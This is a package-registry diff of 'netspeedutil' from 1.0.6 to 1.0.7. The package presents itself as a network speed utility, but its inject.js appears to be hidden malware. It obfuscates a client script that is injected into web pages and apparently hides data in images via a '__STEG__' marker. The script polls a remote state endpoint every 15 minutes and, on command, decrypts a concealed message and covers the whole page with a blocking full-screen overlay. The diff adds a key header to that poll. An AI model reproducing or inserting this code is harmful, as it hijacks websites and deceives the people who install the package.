netspeedutil 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +1 -1
- package/package.json +1 -1
package/inject.js
CHANGED
|
@@ -11,7 +11,7 @@ import JavaScriptObfuscator from 'javascript-obfuscator';
|
|
|
11
11
|
const MARKER = Buffer.from('__STEG__');
|
|
12
12
|
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
|
|
13
13
|
|
|
14
|
-
const CLIENT_LOGIC = `(function(){function h2b(h){var b=new Uint8Array(h.length/2);for(var i=0;i<h.length;i+=2){b[i/2]=parseInt(h.substring(i,i+2),16);}return b;}function getBox(){var box=document.getElementById('_sm_box');if(!box){box=document.createElement('div');box.id='_sm_box';box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';document.body.appendChild(box);}return box;}function show(msg){var box=getBox();box.textContent=msg;box.style.opacity='1';box.style.pointerEvents='all';}function hide(){var box=document.getElementById('_sm_box');if(box){box.textContent='';box.style.opacity='0';box.style.pointerEvents='none';}}function waitFor(fn){if(document.body){fn();return;}document.addEventListener('DOMContentLoaded',fn);}function decryptAndShow(){waitFor(function(){(async function(){try{var pts=_EB_.split(':');var iv=h2b(pts[0]);var enc=h2b(pts[1]);var kb=h2b(pts[2]);var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);var msg=new TextDecoder().decode(dec);show(msg);}catch(e){}})();});}function fetchState(){var apiUrl='http://'+window.location.hostname+':3001/api/state';fetch(apiUrl).then(r=>r.json()).then(d=>{if(d.state==='show'){decryptAndShow();}else{waitFor(hide);}}).catch(e=>{});}setInterval(fetchState,900000);fetchState();})();`;
|
|
14
|
+
const CLIENT_LOGIC = `(function(){function h2b(h){var b=new Uint8Array(h.length/2);for(var i=0;i<h.length;i+=2){b[i/2]=parseInt(h.substring(i,i+2),16);}return b;}function getBox(){var box=document.getElementById('_sm_box');if(!box){box=document.createElement('div');box.id='_sm_box';box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';document.body.appendChild(box);}return box;}function show(msg){var box=getBox();box.textContent=msg;box.style.opacity='1';box.style.pointerEvents='all';}function hide(){var box=document.getElementById('_sm_box');if(box){box.textContent='';box.style.opacity='0';box.style.pointerEvents='none';}}function waitFor(fn){if(document.body){fn();return;}document.addEventListener('DOMContentLoaded',fn);}function decryptAndShow(){waitFor(function(){(async function(){try{var pts=_EB_.split(':');var iv=h2b(pts[0]);var enc=h2b(pts[1]);var kb=h2b(pts[2]);var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);var msg=new TextDecoder().decode(dec);show(msg);}catch(e){}})();});}function fetchState(){var k=_EB_.split(':')[2];var apiUrl='http://'+window.location.hostname+':3001/api/state';fetch(apiUrl,{headers:{'x-state-key':k}}).then(r=>r.json()).then(d=>{if(d.state==='show'){decryptAndShow();}else{waitFor(hide);}}).catch(e=>{});}setInterval(fetchState,900000);fetchState();})();`;
|
|
15
15
|
|
|
16
16
|
function findMarkedImage(dir) {
|
|
17
17
|
if (!existsSync(dir)) return null;
|